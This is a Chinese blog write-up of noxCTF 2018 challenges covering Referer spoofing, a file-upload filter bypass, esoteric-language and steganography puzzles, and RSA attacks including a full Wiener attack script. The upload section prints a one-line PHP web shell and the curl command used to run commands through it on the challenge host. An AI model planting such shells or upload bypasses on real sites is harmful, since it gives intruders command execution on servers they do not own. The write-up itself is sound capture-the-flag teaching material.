threst's Blog

noxctf2018wp

ctf
2018/09/15 Share

Reference

题目

What is your reference again?
http://chal.noxale.com:5000

提示我改这个Referer

我就用Firefox的改包重发改成/check_from_google

bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9

base64解密下

flag:noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}

MyFileUploader

题目

This is my new file uploader server. I bet you can’t hack it!
http://chal.noxale.com:8079

打开链接，可以上传文件，随便写个文件试试。
shell.php

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<?php
system($_GET['cmd']);
?>

提示失败，要图片类型才可以，经过几次尝试之后，把shell.php改成shell.png.txt上传试试，

居然可以！访问下，但是没有解析，看看uploads有些什么，发现一个Don't open文件夹，他说不打开就不打开吗？可以要打开看看。

AddType application/x-httpd-php .cyb3r看样子只有.cyb3r才可以解析，把文件改成这个试试。

成功了！这个文件很奇怪打开看看

curl "http://chal.noxale.com:8079/uploads/shell.png.cyb3r?cmd=ls%207H3-FL4G-1S-H3r3"

flag:noxCTF{N3V3R_7RU57_07H3R5}

Read Between The Lines

题目

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My boss promised me that he would give me a raise if I solve his challenge.
Have I already mentioned I suck in challenges?

下载下来一个message.code,linux下打不开，不急，file试一下，提示gzip，把他后缀名改成gz就可以打开了。
打开后是这样的

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这不就是jsfuck吗，放到http://codertab.com/JsUnFuck跑一下，结果输出`nope`,事情远远没有想象的那么简单。经过仔细查看这些“空白”，发现不仅仅是空白，有很多空格，制表符之类的，Google查下，叫做Whitespace程序，[Whitespace](https://zh.wikipedia.org/wiki/Whitespace)是种深奥的编程语言。

这个网站可以在线解密,

最后flag：noxCTF{DaFuckIsWHITESPACE}

Blind Date

题目

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My mom got me a date with someone! she sent me an image but i cannot open it. I don't want it to be a blind date. Can you help me?

这真的是个脑洞题！下载一个图片，又是打不开的文件，查看下格式

打不开的图片.png

跟正常文件比下

正常.png

确实不一样哦！写个脚本试试恢复看看

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f = open('BlindDate.jpeg', "rb")
s = f.read()
f.close()
data = ''
for i in range(0,len(s),4):
    data += s[i:i+4][::-1]
file = open('blind.jpeg','wb')
file.write(data)

得到这样一个沙雕图片

blind.jpeg

按照套路，binwalk跑一下

3.png

有个zip文件，分离下，得到压缩文件，可是。。要密码，这要我去哪里找密码啊？

再次看看那个盲人图片，strings分析之后得到一些奇怪的东西Li4gICAuICAuLiAgLi4gICAuICAuLiAgLi4gICAuICAuLiAgLiAgLi4NCi4gICAgLiAgIC4gICAgICAgLiAgICAgIC4gICAgLiAgIC4gIC4gIA0KICAgIC4uICAgICAgICAgIC4uICAgICAgLiAgIC4uICAgICAgLiAgLgPK

尝试base64解密之后有得到这些奇怪的东西

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..   .  ..  ..   .  ..  ..   .  ..  .  ..
.    .   .       .      .    .   .  .  
    ..          ..      .   ..      .  .

摩尔斯？不像。那是啥？莫非是盲文！！
盲文解密之后为F4C3P4LM，试下解密zip，打开了！！高兴。又得到下面的东西。

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++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+.+++++++++.<---.+++++++++++++++++.--------------.>+++.<+++++++++++++++++.<++++++++++++++++++.>>------.---------.--------.-----.++++++++++++++++++++++++++.<<.>>----.<++++++++.+++.>---------.<<+.>>++.<++.-----.+++++.<+++.>>++++++.<<-.>-----.<+.>.+++.>--------.<<---.>>++.<++.-----.+++++.<+++.>>++++++.<<-.++++++++++++.>>+++++++++.<<<++++++++++++++++++++++.

这个我知道是brainfuck，拿到网站上面解密下.

flag:noxCTF{W0uld_y0u_bl1nd_d4t3_4_bl1nd_d4t3?}

Chop Suey

题目

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Today I ate in a Chinese restaurant and got myself a fortune cookie. These things usually contain a note with a nice sentence or phrase, but mine had numbers in it instead! Can you help me find the meaning of the numbers?

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 

q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 

dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 

dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 

c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

这个考的是中国剩余定理,参考这篇文章，https://www.rootnetsec.com/picoctf-weird-rsa/

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from crypto_commons.rsa.rsa_commons import modinv, rsa_printable
import gmpy2

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469

dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041

c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

qinv = modinv(q, p)
m1 = pow(c, dp, p)
m2 = pow(c, dq, q)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q
str=hex(m)
str=str[2:]
print ''.join([chr(int(''.join(c), 16)) for c in zip(str[0::2],str[1::2])])

https://github.com/p4-team/crypto-commons
下载这个库，sudo python setup.py install安装下。

flag:noxCTF{W31c0m3_70_Ch1n470wn}

WTF

题目

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Um uhhhhhhhhh WTF IS THIS?! I give up. Now you try to solve this.

N = lObAbAbSBlZOOEBllOEbblTlOAbOlTSBATZBbOSAEZTZEAlSOggTggbTlEgBOgSllEEOEZZOSSAOlBlAgBBBBbbOOSSTOTEOllbZgElgbZSZbbSTTOEBZZSBBEEBTgESEgAAAlAOAEbTZBZZlOZSOgBAOBgOAZEZbOBZbETEOSBZSSElSSZlbBSgbTBOTBSBBSOZOAEBEBZEZASbOgZBblbblTSbBTObAElTSTOlSTlATESEEbSTBOlBlZOlAOETAZAgTBTSAEbETZOlElBEESObbTOOlgAZbbOTBOBEgAOBAbZBObBTg

e = lBlbSbTASTTSZTEASTTEBOOAEbEbOOOSBAgABTbZgSBAZAbBlBBEAZlBlEbSSSETAlSOlAgAOTbETAOTSZAZBSbOlOOZlZTETAOSSSlTZOElOOABSZBbZTSAZSlASTZlBBEbEbOEbSTAZAZgAgTlOTSEBEAlObEbbgZBlgOEBTBbbSZAZBBSSZBOTlTEAgBBSZETAbBgEBTATgOZBTllOOSSTlSSTOSSZSZAgSZATgbSOEOTgTTOAABSZEZBEAZBOOTTBSgSZTZbOTgZTTElSOATOAlbBZTBlOTgOSlETgTBOglgETbT

c = SOSBOEbgOZTZBEgZAOSTTSObbbbTOObETTbBAlOSBbABggTOBSObZBbbggggZZlbBblgEABlATBESZgASBbOZbASbAAOZSSgbAOZlEgTAlgblBTbBSTAEBgEOEbgSZgSlgBlBSZOObSlgAOSbbOOgEbllAAZgBATgEAZbBEBOAAbZTggbOEZSSBOOBZZbAAlTBgBOglTSSESOTbbSlTAZATEOZbgbgOBZBBBBTBTOSBgEZlOBTBSbgbTlZBbbOBbTSbBASBTlglSEAEgTOSOblAbEgBAbOlbOETAEZblSlEllgTTbbgb

看见e的这么大的值，它可能是Wiener攻击或变体，但是用一种不知道是什么的编码进行了加密，仔细看看这个e的值，我们发现他有一个特点:

['A', 'b', 'E', 'g', 'l', 'O', 'S', 'B', 'T', 'Z']

只有这十个字符组成，于是有了个大胆的想法

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'O' --> 0
'l' --> 1
'Z' --> 2
'E' --> 3
'A' --> 4
'S' --> 5
'b' --> 6
'T' --> 7
'B' --> 8
'g' --> 9

将e解密

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def jiemi(str1):
    for i in str1:
        if i not in "AbEglOSBTZ":
            print i
    str1 = str1.replace("O", '0')
    str1 = str1.replace("l", '1')
    str1 = str1.replace("Z", '2')
    str1 = str1.replace("E", '3')
    str1 = str1.replace("A", '4')
    str1 = str1.replace("S", '5')
    str1 = str1.replace("b", '6')
    str1 = str1.replace("T", '7')
    str1 = str1.replace("B", '8')
    str1 = str1.replace("g", '9')
    return str1

得到e=18165674577527345773800436360005849487629584246818834218136555374150149407637407524285601002127374055517203100485286275425145721883636036574242949710753834106366928190387866524288552807173498852374689387479028711005571557055252495247965030797704485232834280077859527260792773150470416827810790513797809193767

再利用winner attack攻击

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#!/usr/bin/env python3
import gmpy2
from Crypto.Util.number import *

n = 'lObAbAbSBlZOOEBllOEbblTlOAbOlTSBATZBbOSAEZTZEAlSOggTggbTlEgBOgSllEEOEZZOSSAOlBlAgBBBBbbOOSSTOTEOllbZgElgbZSZbbSTTOEBZZSBBEEBTgESEgAAAlAOAEbTZBZZlOZSOgBAOBgOAZEZbOBZbETEOSBZSSElSSZlbBSgbTBOTBSBBSOZOAEBEBZEZASbOgZBblbblTSbBTObAElTSTOlSTlATESEEbSTBOlBlZOlAOETAZAgTBTSAEbETZOlElBEESObbTOOlgAZbbOTBOBEgAOBAbZBObBTg'

e = 'lBlbSbTASTTSZTEASTTEBOOAEbEbOOOSBAgABTbZgSBAZAbBlBBEAZlBlEbSSSETAlSOlAgAOTbETAOTSZAZBSbOlOOZlZTETAOSSSlTZOElOOABSZBbZTSAZSlASTZlBBEbEbOEbSTAZAZgAgTlOTSEBEAlObEbbgZBlgOEBTBbbSZAZBBSSZBOTlTEAgBBSZETAbBgEBTATgOZBTllOOSSTlSSTOSSZSZAgSZATgbSOEOTgTTOAABSZEZBEAZBOOTTBSgSZTZbOTgZTTElSOATOAlbBZTBlOTgOSlETgTBOglgETbT'

c = 'SOSBOEbgOZTZBEgZAOSTTSObbbbTOObETTbBAlOSBbABggTOBSObZBbbggggZZlbBblgEABlATBESZgASBbOZbASbAAOZSSgbAOZlEgTAlgblBTbBSTAEBgEOEbgSZgSlgBlBSZOObSlgAOSbbOOgEbllAAZgBATgEAZbBEBOAAbZTggbOEZSSBOOBZZbAAlTBgBOglTSSESOTbbSlTAZATEOZbgbgOBZBBBBTBTOSBgEZlOBTBSbgbTlZBbbOBbTSbBASBTlglSEAEgTOSOblAbEgBAbOlbOETAEZblSlEllgTTbbgb'

lookup = ['O', 'l', 'Z', 'E', 'A', 'S', 'b', 'T', 'B', 'g']

def decode(x):
    ans = ''
    for c in x:
        ans += str(lookup.index(c))
    return int(ans)

n = decode(n)
e = decode(e)
c = decode(c)

def cf_expansion(n, d):
    e = []

    q = n // d
    r = n % d
    e.append(q)

    while r != 0:
        n, d = d, r
        q = n // d
        r = n % d
        e.append(q)

    return e

def convergents(e):
    n = [] # Nominators
    d = [] # Denominators

    for i in range(len(e)):
        if i == 0:
            ni = e[i]
            di = 1
        elif i == 1:
            ni = e[i]*e[i-1] + 1
            di = e[i]
        else: # i > 1
            ni = e[i]*n[i-1] + n[i-2]
            di = e[i]*d[i-1] + d[i-2]

        n.append(ni)
        d.append(di)
        yield (ni, di)

def solve(b, c):
    k = b * b - 4 * 1 * c
    if k < 0: return []
    sk, complete = gmpy2.iroot(k, 2)
    if not complete: return []
    return [int((-b + sk) // 2), int((-b - sk) // 2)]

def wiener(e, n):
    kd = convergents(cf_expansion(e, n))
    for i, (k, d) in enumerate(kd):
        if k == 0: continue
        phi = (e * d - 1) // k
        roots = solve(phi - n - 1, n)
        if len(roots) == 2:
            p, q = roots
            if p * q == n:
                return (p, q)

p, q = wiener(e, n)

r = (p - 1) * (q - 1)
d = inverse(e, r)
m = pow(c, d, n)
print(long_to_bytes(m))

flag:noxCTF{RSA_1337_10rd}

首发于ichunqiu
https://bbs.ichunqiu.com/thread-45809-1-1.html

原文作者: threst

原文链接: https://threst.github.io/2018/09/15/noxctf2018wp/

发表日期: September 15th 2018, 1:34:14

版权声明: 本文采用知识共享署名-非商业性使用 4.0 国际许可协议进行许可

CATALOG
  1. 1. Reference
  2. 2. MyFileUploader
  3. 3. Read Between The Lines
  4. 4. Blind Date
  5. 5. Chop Suey
  6. 6. WTF
Total : 42
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